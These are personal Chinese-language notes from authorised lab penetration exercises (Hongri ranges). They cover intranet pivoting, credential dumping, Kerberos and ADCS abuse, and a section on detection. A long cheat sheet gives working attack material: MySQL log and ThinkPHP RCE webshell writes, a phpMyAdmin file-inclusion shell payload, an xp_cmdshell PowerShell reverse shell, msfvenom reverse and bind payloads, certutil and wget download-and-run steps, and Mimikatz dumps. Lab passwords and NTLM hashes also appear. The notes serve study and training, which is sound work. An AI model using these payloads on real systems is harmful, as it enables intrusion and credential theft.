内网渗透个人笔记

个人授权靶场复盘笔记。本文中的 IP、账户、密码、Hash、Payload 与操作命令均来自授权靶场学习记录,只能用于合法授权环境。

这版笔记不再追求把原文重新铺一遍,而是把红日 1-5 和综合靶场抽成“判断路径、技术卡片、踩坑规则、靶场复盘”。需要完整过程时,直接跳转到对应来源文章。

0. 来源地图

简称来源文章本地素材
红日 1红日1靶场(灵境平台)完整渗透记录hongri1.md
红日 2红日2靶场(灵境平台)hongri2-2.md
红日 3红日3靶场(灵境平台)hongri3.md
红日 4红日4靶场hongri4.md
红日 5红日5靶场hongri5.md
综合靶场内网渗透体系建设 — 靶场 WriteUp内网渗透体系建设-靶场(整理).md

1. 我的内网渗透总流程

plain
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
网络可达性
  -> 外部入口识别
  -> 初始命令执行
  -> 权限与架构确认
  -> 稳定上线
  -> 内网网段发现
  -> 凭据抓取
  -> 路由/代理/转发
  -> 横向移动
  -> 域权限扩展
  -> 战果、失败点、检测点复盘

1.1 每个阶段必须回答的问题

阶段必答问题判断依据
网络Kali、宿主、靶机之间到底谁能访问谁pingnmap -snipconfig、VMware 网卡
入口是 Web、数据库、SMB 漏洞,还是弱口令端口、服务版本、目录、CMS 指纹
命令执行当前命令在哪个用户、哪个架构、哪个网络里执行whoamisysteminfoipconfig /alltasklist
上线目标能不能主动回连,攻击机能不能连目标reverse/bind 选择、端口监听、防火墙
内网已控主机是否双网卡,默认路由和 DNS 是谁route printarp -aping <domain>
凭据能抓到本地 Hash、明文、域用户、机器账户还是 krbtgtKiwi/Mimikatz 输出分区
横向当前凭据是否有目标本地管理员权限C$ 验证、PsExec/WMI/RDP、漏洞扫描
域攻击是凭据类、委派类、证书类还是 Kerberos 票据类域信息、SPN、ADCS 模板、SID、Hash

1.2 最重要的心法

心法解释
先排网络,再打漏洞Windows 能访问但 Kali 不能访问时,多半是网卡/路由问题,不是漏洞问题
命令不是答案,条件才是每条命令前都要知道前置条件;否则换个靶场就失效
连接方向决定上线方式reverse、bind、SMB Beacon、本地转发,本质都在解决“谁能连谁”
凭据不等于权限普通域用户密码只能证明身份,不能保证能横向到域控
失败信息很值钱13551053、认证成功无 session、架构不匹配,都是路径切换信号

2. 拿到 WebShell 后的决策树

plain
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
拿到 WebShell / RCE
  |
  +-- 1. 当前身份是谁?
  |     +-- 普通 Web 用户 -> 看提权点、配置文件、数据库凭据
  |     +-- Administrator / SYSTEM -> 直接进入凭据和内网阶段
  |
  +-- 2. 目标系统和架构?
  |     +-- Windows x64 -> payload / Kiwi / migrate 都尽量 x64
  |     +-- Linux -> 查 SUID、内核、Docker、SSH 凭据
  |
  +-- 3. 是否能出网或回连?
  |     +-- 能回 Kali -> reverse_tcp / HTTP Beacon
  |     +-- 不能回 Kali,但 Kali 能连它 -> bind_tcp
  |     +-- 只能内网互通 -> 回连到跳板内网 IP / SMB Beacon / 端口转发
  |
  +-- 4. 是否双网卡?
  |     +-- 是 -> 记录内网网段,添加路由或 SOCKS
  |     +-- 否 -> 看 ARP、DNS、域信息,寻找下一层入口
  |
  +-- 5. 是否能抓凭据?
        +-- 能 -> 判断凭据权限,尝试 C$ / WMI / PsExec / RDP
        +-- 不能 -> 换漏洞型横向、委派、ADCS 或本机提权路径

2.1 WebShell 后最小检查清单

检查项WindowsLinux
身份whoamiid
架构systeminfowmic os get osarchitectureuname -a
网络ipconfig /allroute printarp -aip aip route
进程tasklist /svcps aux
net view /domainnet group "domain controllers" /domain看 DNS、hosts、内网扫描
凭据线索Web 配置、数据库、LSASS配置文件、历史命令、SSH key、数据库

3. 阶段方法论与技术卡片

3.1 技术卡片模板

以后每补一个技术点,按这个模板写,别只丢命令:

plain
1
2
3
4
5
6
7
8
9
技术名:
来源:
适用场景:
前置条件:
关键动作:
成功标志:
失败信号:
替代路径:
检测/防守视角:

3.2 网络与环境排障卡片

来源:红日1靶场(灵境平台)完整渗透记录

内容
场景Windows 宿主能访问灵境靶场,Kali 不能访问
判断靶场流量走 LingJing VPN,不是本地 VMnet
关键动作Kali 增加桥接到 LingJing 的网卡,并用 dhcpcd eth1 获取地址
成功标志Kali 获得 192.168.188.x,能 ping 靶场外网 IP
失败排查VMware GUI 保存失败时,直接编辑 .vmxbridgeAdapter

最值得记住的是:同网段不等于同链路。Kali 在 VMnet2 里扫不到靶机时,不要继续爆破空气,要先验证宿主路由。

3.3 初始访问卡片

技术来源前置条件成功标志失败/替代
MySQL 日志写 WebShell红日1靶场(灵境平台)完整渗透记录phpMyAdmin 高权限账户,知道 Web 根目录访问 shell.php,蚁剑连接INTO OUTFILEsecure_file_priv 限制时改用 general_log/slow_query_log
ThinkPHP 5.0.22 RCE红日5靶场版本存在 RCE,Web 目录可写whoami 有回显,写入 shell.php先查杀软和写权限
Joomla 配置泄露红日3靶场(灵境平台)configuration.php~ 可读,数据库可连修改后台管理员 Hash 登录WebShell 被禁用函数限制时,用插件绕过或转 SSH
WebLogic CVE-2019-2725红日2靶场(灵境平台)7001 开放且漏洞存在Meterpreter sessionx64 系统必须设置 x64 payload,失败可多次运行
MSSQL xp_cmdshell内网渗透体系建设 — 靶场 WriteUpsa 弱口令或高权限 SQL 账户xp_cmdshell 'whoami' 有输出服务账户权限低时接 Potato 提权
Tomcat PUT 上传红日4靶场Tomcat 版本和配置允许 PUTJSP 文件可访问拿到容器 shell 后继续判断 Docker/宿主

3.4 提权与凭据卡片

技术来源前置条件成功标志失败排查
getsystem红日2靶场(灵境平台)红日5靶场Meterpreter 当前用户可被提权NT AUTHORITY\SYSTEM不成功就查权限、UAC、服务账户
GodPotato内网渗透体系建设 — 靶场 WriteUp服务账户具备 SeImpersonatePrivilegent authority\system.NET 版本和系统版本要匹配
Kiwi/Mimikatz多个靶场SYSTEM 或高权限,能读取 LSASS明文、NTLM、机器账户、krbtgtx86 Kiwi 跑 x64 系统要先 migrate
Docker 逃逸红日4靶场容器特权模式或宿主挂载条件进入宿主机视角先判断是否容器,不要把容器 root 当宿主 root

3.5 横向与域攻击卡片

技术来源适用条件成功标志关键替代路径
PsExec红日1靶场(灵境平台)完整渗透记录红日2靶场(灵境平台)有目标本地管理员/域管凭据,445 可达远程 session 或服务执行成功reverse 到跳板内网 IP,或改 bind
WMI内网渗透体系建设 — 靶场 WriteUp管理员凭据,主机名/DNS 可解析whoami 为目标域用户Kerberos 模式必须处理 hosts 和 ccache
MS17-010红日2靶场(灵境平台)红日4靶场SMBv1 漏洞存在,系统架构匹配SYSTEM session凭据横向失败时可考虑漏洞型横向
MS14-068红日4靶场域用户、密码、准确 SID、DC IP注入票据后可访问 DC C$SID 错或票据未清理会失败
约束委派 S4U内网渗透体系建设 — 靶场 WriteUp拿到可委派机器账户 Hashwmiexec -k 进入目标依赖 SPN、DNS、ccache
ADCS ESC1内网渗透体系建设 — 靶场 WriteUp模板允许自定义身份且域用户可注册证书认证为域管PKINIT 不可用时走 Schannel/LDAP
黄金票据红日5靶场krbtgt Hash + 域 SID伪造票据可访问域资源SYSTEM SID 不是域 SID

4. 连接、路由与横向移动选择表

4.1 上线方式选择

方式连接方向适用条件失败信号下一步
reverse_tcp目标回连监听端目标能访问 Kali 或跳板监听 IPhandler 无连接换 LHOST、查出网、防火墙,或改 bind
bind_tcp攻击端连接目标监听端口攻击机/跳板能连目标认证成功无 session,端口不通换端口,确认防火墙,改 reverse 到跳板
SMB Beacon通过已控主机挂内网会话CS 场景,内网主机不能直接回 KaliBeacon 不出现确认 SMB 监听器和父 Beacon
WMI Shell远程管理执行管理员凭据,RPC/SMB 可达名称解析失败写 hosts,指定 DC/DNS
RDP图形化登录3389 开放,账号允许登录密码错误、过期、证书报错改本地密码、/cert:ignore、开 RDP
SOCKS/转发让工具穿过跳板已有 session,需访问内网扫描全失败检查 route、proxychains、转发端口

4.2 路由与代理最小命令

plain
1
2
3
4
meterpreter > run autoroute -s <subnet>/24
msf > route add <subnet> <netmask> <session-id>
msf > route print
use auxiliary/server/socks_proxy

Python 端口转发只在需要“内网目标回连到跳板,跳板再转发到 Kali”时使用。它不是默认选项,是连接方向受限时的补丁。

5. 域攻击与 Kerberos/ADCS 专题

5.1 域攻击材料清单

攻击必备材料常见缺口
PsExec/WMI域管或目标本地管理员凭据只有普通域用户
Pass-the-HashNTLM Hash,目标允许 NTLM目标不接受或权限不足
MS14-068域用户、密码、用户 SID、DC IPSID 不准、票据未注入
S4U 委派机器账户 Hash、目标 SPN、DCDNS/hosts 不通,SPN 写错
ADCS ESC1可注册模板、可自定义身份、域用户凭据PKINIT 不支持,需要 Schannel
Golden Ticketkrbtgt Hash、域 SID、域名把 SYSTEM SID 当成域 SID

5.2 Kerberos 相关固定排查

检查项动作
主机名解析nslookup <host> <dc-ip>,必要时写 hosts
当前票据Windows 用 klist,Linux 查 KRB5CCNAME
票据污染攻击前 klist purge
ccache 权限在可写目录运行工具,必要时用 root
时间同步Kerberos 对时间敏感,异常时查时间差

5.3 ADCS 记忆点

ADCS ESC1 的核心不是“证书工具命令”,而是模板信任边界错了:

条件含义
申请者可提供 Subject/UPN低权限用户能把自己包装成高权限身份
域用户有注册权限攻击入口门槛低
证书可用于认证可转化成域权限
PKINIT 不可用仍可能通过 LDAPS/Schannel 认证继续利用

6. 防守/检测视角

这部分不是为了“隐藏”,而是帮助复盘时理解每一步会留下什么痕迹。

行为典型痕迹防守检查点
WebShell 写入Web 目录新增异常 PHP/JSP,访问日志出现可疑参数文件完整性、Web 日志、EDR 告警
xp_cmdshellSQL 配置变更,SQL Server 进程拉起命令解释器SQL 审计、进程父子关系
PowerShell 反连powershell -nop -e,网络外连PowerShell 日志、命令行审计、网络连接
Meterpreter/Beacon异常进程、可疑网络连接、内存注入EDR、Sysmon、网络流量
凭据抓取LSASS 访问、调试权限启用进程访问事件、Credential Guard
远程服务横向服务创建、启动失败 1053、ADMIN$ 写入7045、4624、5140、服务名异常
RDP 登录4624 Type 10,新增本地管理员登录审计、本地组变更
Kerberos 票据异常 TGT/TGS、加密类型、生命周期4768、4769、票据异常
ADCS 滥用异常证书申请、模板被低权限使用CA 审计、模板权限、SAN/UPN
权限维持计划任务、服务、Run Key自启动项基线、注册表审计

复盘时给每条攻击链补一个“蓝队怎么看”字段,能倒逼自己理解原理。

7. 靶场复盘

7.1 红日 1

来源:红日1靶场(灵境平台)完整渗透记录

内容
入口phpMyAdmin root/root
外网主机STU1,192.168.242.97
内网网段192.168.52.0/24
域控OWA,192.168.52.138
GOD.ORG

攻击链:

plain
1
2
3
4
5
6
7
8
9
LingJing VPN 桥接排障
  -> phpMyAdmin 弱口令
  -> MySQL general_log / slow_query_log 写 WebShell
  -> 蚁剑拿 STU1 SYSTEM
  -> MSF bind_tcp 上线
  -> migrate x64 后 Kiwi 抓 GOD\Administrator
  -> autoroute 192.168.52.0/24
  -> PsExec reverse 到 STU1 内网 IP
  -> OWA 域控 SYSTEM

关键凭据:

账户明文/Hash
phpMyAdminroot/root
GOD\Administratorhongrisec@2025,NTLM ad8b1b80e5d43bd61ab6796242bc7daa
OWA\AdministratorNTLM 2e8b24e00bd703e52cfe327a072006b0

最有价值的坑:

结论
Kali 同网段仍扫不到靶机靶场流量走 VPN,必须接入 LingJing 适配器
INTO OUTFILE 失败secure_file_priv 限制时改日志写马
域控 bind 没 session防火墙限制入站,改 reverse 到跳板内网 IP

7.2 红日 2

来源:红日2靶场(灵境平台)

内容
入口MS17-010 / WebLogic CVE-2019-2725
WEB192.168.242.226 / 10.10.10.80
DC10.10.10.10
DE1AY

攻击链:

plain
1
2
3
4
5
6
7
8
端口发现 445/7001/1433/3389
  -> WebLogic 或 MS17-010 拿 WEB
  -> getsystem
  -> Kiwi 抓域管凭据
  -> RDP 验证
  -> autoroute 10.10.10.0/24
  -> PsExec bind_tcp 到 DC
  -> DC SYSTEM

关键凭据:

账户明文/Hash
DE1AY\Administrator2wsx!QAZ,NTLM cf83cd7efde13e0ce754874aaa979a74
DE1AY\de1ay1qaz@WSX,NTLM 161cff084477fe596a5db81874498a24
DE1AY\mssql1qaz@WSX,NTLM 161cff084477fe596a5db81874498a24
krbtgtNTLM 82dfc71b72a11ef37d663047bc2088fb

最有价值的坑:

结论
Win7 x86 打 MS17-010 失败模块只适合 x64,架构先确认
WebLogic 多次无 session模块可能不稳定,且 payload 要手动换 x64
PsExec 初次失败先验证 C$,再换 payload/端口/连接方向

7.3 红日 3

来源:红日3靶场(灵境平台)

内容
入口Joomla configuration.php~ 泄露
外网服务SSH、HTTP、MySQL
关键跳板Linux Web 主机
内网192.168.93.0/24

攻击链:

plain
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
Joomla 扫描
  -> 配置备份泄露 MySQL 凭据
  -> 修改 Joomla 管理员 Hash
  -> 后台模板写 WebShell
  -> 禁用函数绕过
  -> SSH wwwuser
  -> Linux 提权和内网扫描
  -> MSF route / SOCKS / Python 转发
  -> SMB 凭据爆破
  -> PsExec 横向 WIN2008 / DC

关键凭据:

账户明文
MySQL testusercvcvgjASD!@
SSH wwwuserwwwuser_123Aqx
Windows administrator123qwe!ASDzxcASDqw123!!

最有价值的坑:

结论
WebShell 连接但命令不能执行不要急着换洞,先查禁用函数
SSH 算法不兼容老系统需要显式允许 ssh-rsa
字典爆破无结果字典不是万能的,凭据来源要多元
内网回连复杂Python 转发能补连接方向问题

7.4 红日 4

来源:红日4靶场

内容
入口Struts2、Tomcat、phpMyAdmin Docker 服务
WebUbuntu 双网卡
内网192.168.183.0/24
DC192.168.183.130
DEMO

攻击链:

plain
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
Web 服务 RCE
  -> 容器 shell
  -> Docker privileged 逃逸
  -> Ubuntu 上线
  -> MS17-010 拿 Win7
  -> Kiwi 抓 douser
  -> MS14-068 伪造票据
  -> 访问 DC C$
  -> 远程服务执行
  -> DCSync

关键凭据与 Hash:

账户明文/Hash
DEMO\douserDotest123
douser SIDS-1-5-21-979886063-1111900045-1414766810-1107
DEMO\krbtgtNTLM 7c4ed692473d4b4344c3ba01c5e6cb63
DEMO\AdministratorNTLM 68fa0147af8369f611458bf34342c42a

最有价值的坑:

结论
容器 root 不等于宿主 root先判断 Docker 边界
douser 不能直接横向 DC凭据类横向看权限,不只看密码
sc start 1053靶场中可能 payload 已运行,结合监听判断

7.5 红日 5

来源:红日5靶场

内容
入口ThinkPHP 5.0.22 RCE
WebWin7,192.168.135.150 / 192.168.138.136
DC192.168.138.138
SUN

攻击链:

plain
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
ThinkPHP RCE
  -> 写 WebShell
  -> 蚁剑上传 MSF/CS payload
  -> getsystem
  -> route 192.168.138.0/24
  -> migrate x64
  -> Kiwi 抓 SUN 域管
  -> CS SMB Beacon psexec64 到 DC
  -> hashdump krbtgt
  -> 黄金票据练习

关键凭据与 Hash:

账户明文/Hash
SUN\Administratordc123.com,NTLM e8bea972b3549868cecd667a64a6ac46
SUN\leo123.com,NTLM afffeba176210fad4628f0524bfe1942
SUN\krbtgtNTLM 65dc23a67f31503698981f2665f9d858
域 SIDS-1-5-21-3388020223-1982701712-4030140183

最有价值的坑:

结论
x86 payload 抓凭据不稳Meterpreter 架构尽量匹配系统
SYSTEM 查不到域 SID查域用户 SID,再去掉 RID
CS 比 MSF 手动票据更顺工具选择会影响操作复杂度

7.6 综合靶场

来源:内网渗透体系建设 — 靶场 WriteUp

内容
入口MSSQL sa/123456
Web01192.168.93.146 / 172.22.10.22
内网172.22.10.0/24
DC172.22.10.11
CA172.22.10.13
aerospace.local

攻击链:

plain
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
MSSQL 弱口令
  -> xp_cmdshell
  -> GodPotato SYSTEM
  -> fscan 内网
  -> MS17-010 拿 WIN-PC8086
  -> 抓机器账户 Hash
  -> 约束委派到 WIN-PC8098
  -> 抓 liuyuhua 凭据
  -> ADCS ESC1 申请 Administrator 证书
  -> PKINIT 不可用,LDAP Shell 改域管密码
  -> WMI 拿 DC01 和 CA

关键凭据与 Hash:

账户明文/Hash
MSSQL sa123456
WIN-PC8086$NTLM 1878248073dc58f665227675e99b8333
aerospace\liuyuhuaYu%a#E8T6iR,NTLM 2c8e4ec4d8a61869d85c7921c6076dfd
aerospace\AdministratorP@ssw0rd2024!

最有价值的坑:

结论
getST.py 保存失败换可写目录或 root
Kerberos 名称解析失败写 hosts,指定 DC/DNS
PKINIT 不支持Schannel + LDAP Shell 是替代路径
Certipy 解析失败指定 -ns-dc-ip

8. 命令速查

注释行用于说明命令意图,复制到交互式控制台时按需跳过。这里收录的是靶场里出现过、复用价值高的完整命令;超长一次性 Base64 输出不作为背诵对象,保留生成方式和执行方式。

8.1 网络排障与网卡确认

powershell
1
2
3
4
5
# Windows:查看所有网卡、IP、DNS、网关。用于判断宿主机或靶机是否双网卡、DNS 是否指向域控。
ipconfig /all

# Windows:查看 LingJing / VMware / 物理网卡名称。编辑 .vmx 的 bridgeAdapter 时必须和这里的 Name 完全一致。
Get-NetAdapter | Format-Table Name, InterfaceDescription
bash
1
2
3
4
5
6
7
8
# Kali:确认本机网卡、IP 和网段。拿到靶场地址后先看自己是否真的在可达网段。
ip a

# Kali:Kali 2025+ 常用 dhcpcd 获取地址,红日 1 用它让 eth1 从 LingJing VPN 网段拿 IP。
sudo dhcpcd eth1

# Kali:确认能否直达目标外网入口。
ping 192.168.242.12
bash
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 红日 1:LingJing VPN 桥接不稳定时的完整恢复流程。
# 先杀掉旧 dhcpcd,避免租约和进程冲突。
sudo killall dhcpcd 2>/dev/null

# 让 NetworkManager 不再管理 eth1,避免它和 dhcpcd 抢配置。
sudo nmcli device set eth1 managed no

# 清空 eth1 地址并关闭网卡,准备重新获取地址。
sudo ip addr flush dev eth1
sudo ip link set eth1 down

# 删除旧租约,避免拿到重复或过期地址。
sudo rm -f /var/lib/dhcpcd/*.lease

# 恢复 eth0 NAT 网卡,保证 Kali 自己仍能出网。
sudo nmcli device set eth0 managed yes
sudo nmcli connection up eth0 2>/dev/null || sudo dhcpcd eth0

# 重新启用 eth1 并从 LingJing 网段获取地址。
sudo ip link set eth1 up
sudo dhcpcd eth1

# 最后检查结果。
ip a

8.2 扫描

bash
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# TCP 直连扫描,跳过 ping 探测。目标禁 ICMP 或经过 VPN/防火墙时很常用。
nmap -Pn -sT 192.168.242.12 -p 80,3306,445

# 存活主机扫描。用于确认一个网段里到底有哪些机器存在。
sudo nmap -sn 192.168.242.0/24

# 基础端口扫描,红日 1 外网入口使用过。
nmap 192.168.242.12

# 带版本和默认脚本扫描,综合靶场 Web01 使用过。
nmap -sV -sC -p21,80,1433,5985 192.168.93.146

# 红日 2:分别扫描 PC 和 WEB 两台外网靶机。
nmap -Pn 192.168.242.49
nmap -Pn 192.168.242.226

# SMB 漏洞脚本扫描,判断 MS17-010 等漏洞。
sudo nmap -p 445 192.168.242.49 -Pn --script smb-vuln*
sudo nmap -p 445 192.168.242.226 -Pn --script smb-vuln*

# 综合靶场:扫描 NAT 网段,定位 Web01。
nmap -sn 192.168.93.1/24
nmap 192.168.93.146

# Web 目录爆破,发现 phpMyAdmin、备份文件、后台等入口。
dirsearch -u 192.168.242.12 -t 100
dirsearch -u http://192.168.93.146

# Joomla 指纹与敏感路径扫描,红日 3 用于发现 configuration.php~。
joomscan -u http://<target>/
joomscan -u http://192.168.242.92/

# fscan 内网探测,综合靶场从 Web01 扫 172.22.10.0/24。
C:\Windows\Temp\fscan.exe -h 172.22.10.1/24
plain
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# MSF:通过已控 session 扫内网目标端口,常用于只经过 Meterpreter 路由能访问的内网。
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.52.138
set PORTS 445,135,139,80,3389
set THREADS 5
run

# MSF:UDP 探测内网存活,红日 3 中用于 192.168.93.0/24。
use auxiliary/scanner/discovery/udp_probe
set RHOSTS 192.168.93.0-255
set THREADS 5
run

8.3 Web / CMS / 数据库入口

bash
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
# Joomla:读取泄露的配置备份,提取数据库账号、密码、库名、表前缀。
curl http://192.168.242.92/configuration.php~

# Joomla:连接远程 MySQL。--skip-ssl 用于兼容旧 MySQL/MariaDB。
mysql -h 192.168.242.92 -u testuser -p'cvcvgjASD!@' --skip-ssl

# 综合靶场:匿名 FTP 登录 Web01,确认 FTP 目录是否有可利用文件。
ftp 192.168.93.146

# MSSQL:爆破 sa 弱口令,综合靶场获得 sa/123456。
hydra -l sa -P /usr/share/wordlists/rockyou.txt 192.168.93.146 mssql -t 4

# MSSQL:用 Impacket 连接 SQL Server。
impacket-mssqlclient sa:123456@192.168.93.146
sql
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
-- phpMyAdmin / MySQL:开启 general_log。
SET GLOBAL general_log = 'ON';

-- phpMyAdmin / MySQL:把 general_log 写到 Web 根目录下的 shell.php。
SET GLOBAL general_log_file = 'C:/phpStudy_pro/WWW/shell.php';

-- phpMyAdmin / MySQL:写入 WebShell 内容。红日 1 中密码参数是 cmd。
SELECT '<?php eval($_POST[cmd]);?>';

-- phpMyAdmin / MySQL:查看慢查询相关配置。
SHOW VARIABLES LIKE '%slow%';

-- phpMyAdmin / MySQL:开启慢查询日志。
SET GLOBAL slow_query_log = 1;

-- phpMyAdmin / MySQL:将慢查询日志路径指向 Web 根目录。
SET GLOBAL slow_query_log_file = 'C:/phpstudy_pro/WWW/shell1.php';

-- phpMyAdmin / MySQL:查看慢查询阈值。
SELECT @@long_query_time;

-- phpMyAdmin / MySQL:利用 SLEEP 触发慢查询写入 WebShell。
SELECT '<?php @eval($_POST["shell"]);?>' OR SLEEP(11);

-- phpMyAdmin / MySQL:查看 secure_file_priv,判断 INTO OUTFILE 是否可用。
SHOW VARIABLES LIKE 'secure_file_priv';

-- phpMyAdmin / MySQL:查看 MySQL 数据目录。
SHOW VARIABLES LIKE '%datadir%';

-- phpMyAdmin / MySQL:查看 MySQL 安装目录。
SELECT @@basedir;

-- phpMyAdmin / MySQL:查看 MySQL 用户权限信息。
SELECT * FROM mysql.user;

-- phpMyAdmin / MySQL:INTO OUTFILE 写马尝试;红日 1 中因 secure_file_priv 失败。
SELECT * FROM test_table INTO OUTFILE "/phpstudy_pro/www/create_shell.php";

-- phpMyAdmin / MySQL:secure_file_priv 放开时的直接写马模板。
SELECT '<?php @eval($_POST[a]);?>' INTO OUTFILE '/var/www/html/shell.php';

-- MySQL:读取本地文件,条件是 MySQL 用户具备 FILE 权限且路径可读。
SELECT load_file('/etc/passwd');
sql
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
-- Joomla:查看数据库列表,确认是否存在 joomla 库。
show databases;

-- Joomla:进入 joomla 数据库。
use joomla;

-- Joomla:查看表名,定位 users 表和表前缀。
show tables;

-- Joomla:查看管理员账号和密码 Hash。
SELECT id, name, username, password FROM am2zu_users;

-- Joomla:把管理员密码 Hash 改为已知 Hash,红日 3 中用于登录后台。
UPDATE am2zu_users SET password='$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi' WHERE id=891;
sql
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
-- MSSQL:开启高级选项。
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;

-- MSSQL:开启 xp_cmdshell。
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

-- MSSQL:确认命令执行身份。
EXEC xp_cmdshell 'whoami';

-- MSSQL:执行 PowerShell 反弹 Shell。<base64> 由 Kali 上 UTF-16LE + base64 生成。
EXEC xp_cmdshell 'powershell -nop -e <base64>';
plain
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# ThinkPHP 5.0.22:验证命令执行,浏览器访问或用代理工具发 GET。
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

# ThinkPHP 5.0.22:查看进程和服务,判断是否有杀软。
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=tasklist /svc

# ThinkPHP 5.0.22:写入 WebShell。
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval($_POST[cmd]);?>" > shell.php

# ThinkPHP 5.0.22:查看目录,确认 shell.php 是否落地。
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir
bash
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# Tomcat:搜索本地 exploit-db 中的 Tomcat 8.5.19 相关利用。
searchsploit tomcat 8.5.19

# Tomcat:复制 exploit 到当前目录。
searchsploit -m /exploit/jsp/webapps/42966.py

# Tomcat:检测 PUT 上传漏洞,访问 Poc.jsp 验证。
python 42966.py -u http://192.168.157.128:2002/

# Tomcat:上传并进入交互式 JSP Shell,红日 4 中用 -p pwn 生成 pwn.jsp。
python 42966.py -u http://192.168.157.128:2002/ -p pwn
plain
1
2
3
4
5
6
7
8
# phpMyAdmin CVE-2018-12613:读取 /etc/passwd 的文件包含 POC。
?target=db_sql.php%253f/../../../../../../../../etc/passwd

# phpMyAdmin CVE-2018-12613:包含 session 文件,红日 4 中用于触发写入过的 PHP 片段。
?target=db_datadict.php%253f/../../../../../../../../../tmp/sess_5b72d8a8c59d4b8df7268f33858f6de5

# phpMyAdmin CVE-2018-12613:尝试通过 session 包含执行 file_put_contents 写 shell。
?target=tbl_zoom_select.php?/../../../../../../tmp/sess_e7bec897077c4a99f9e6e5da0bed67b5&cmd=file_put_contents("/var/www/html/shell.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg=="));

8.4 文件传输、Payload 生成与上线

bash
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
# Kali:启动临时 HTTP 服务,供目标下载工具或 payload。
python3 -m http.server 8080
python -m http.server 8000

# Kali:监听 PowerShell 反弹 Shell。
nc -lvnp 4444

# Windows 目标:用 certutil 下载 GodPotato。
certutil -urlcache -split -f http://192.168.93.128:8080/GodPotato-NET4.exe C:\Windows\Temp\GodPotato.exe

# Windows 目标:用 certutil 下载 fscan。
certutil -urlcache -split -f http://192.168.93.128:8080/fscan.exe C:\Windows\Temp\fscan.exe

# Windows 目标:PowerShell 下载 Mimikatz。
Invoke-WebRequest -Uri http://192.168.93.128:8080/mimikatz.exe -OutFile C:\Users\hacker\mimikatz.exe
cmd
1
2
3
4
5
:: GodPotato:测试能否从服务账户提权到 SYSTEM。
C:\Windows\Temp\GodPotato.exe -cmd "whoami"

:: GodPotato:用 SYSTEM 权限执行反弹 Shell。<base64> 使用 Kali 上生成的 PowerShell UTF-16LE Base64。
C:\Windows\Temp\GodPotato.exe -cmd "powershell -nop -e <base64>"
bash
1
2
3
4
5
6
7
8
# MSFVenom:生成 Windows bind_tcp Meterpreter,红日 1 用于目标不能回连时正向连接。
msfvenom -p windows/meterpreter/bind_tcp LPORT=5555 -f exe > bind.exe

# MSFVenom:生成 Windows reverse_tcp Meterpreter,红日 5 用蚁剑上传后执行。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.135.128 LPORT=4444 -f exe > abc.exe

# MSFVenom:生成 Linux x86 Meterpreter ELF,红日 4 Tomcat 容器中下载执行。
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.157.129 LPORT=4444 -f elf > shell.elf
bash
1
2
3
4
5
6
7
8
# Linux 目标:下载 Linux payload。
wget http://192.168.157.129:8000/shell.elf

# Linux 目标:给 payload 执行权限。
chmod 777 shell.elf

# Linux 目标:执行 payload,回连 Kali handler。
./shell.elf
bash
1
2
3
4
5
# CS:上传 Cobalt Strike 到 Kali 后赋予执行权限。
sudo chmod -R +x ~/workspace/cs4.7/Cobalt_Strike_4.7

# CS:启动 TeamServer。第一个参数是 Kali IP,第二个参数是连接密码。
sudo ./teamserver 192.168.188.134 123456
plain
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# CS Beacon:取消 sleep 延迟,方便实验时实时回显。
sleep 0

# CS Beacon:运行 Windows 原生命令。
shell whoami
shell ipconfig /all
shell net user

# CS Beacon:抓取明文密码。
logonpasswords

# CS Beacon:抓取 Hash。
hashdump

# CS Beacon:扫描内网网段和端口。
portscan 192.168.138.0/24

8.5 MSF / Meterpreter 基础操作

plain
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# 查看当前 Meterpreter 会话权限。
getuid

# 查看目标系统、架构、域、Meterpreter 架构。
sysinfo

# 查看目标网卡,定位内网 IP。
ipconfig

# 查看进程,找 x64 / SYSTEM 进程用于 migrate。
ps

# 迁移到指定进程。x86 会话在 x64 系统上抓凭据不稳时必用。
migrate <pid>

# 导出本地 SAM Hash。
hashdump

# 进入目标系统 shell。
shell

# 把当前 session 放到后台。
background

# 查看所有 session。
sessions -l

# 进入指定 session。
sessions -i <id>

# 加载 Kiwi / Mimikatz 扩展。
load kiwi

# 抓取所有凭据,包括 msv、wdigest、tspkg、kerberos。
creds_all

# 导出 SAM,hashdump 失败时可尝试。
lsa_dump_sam
plain
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
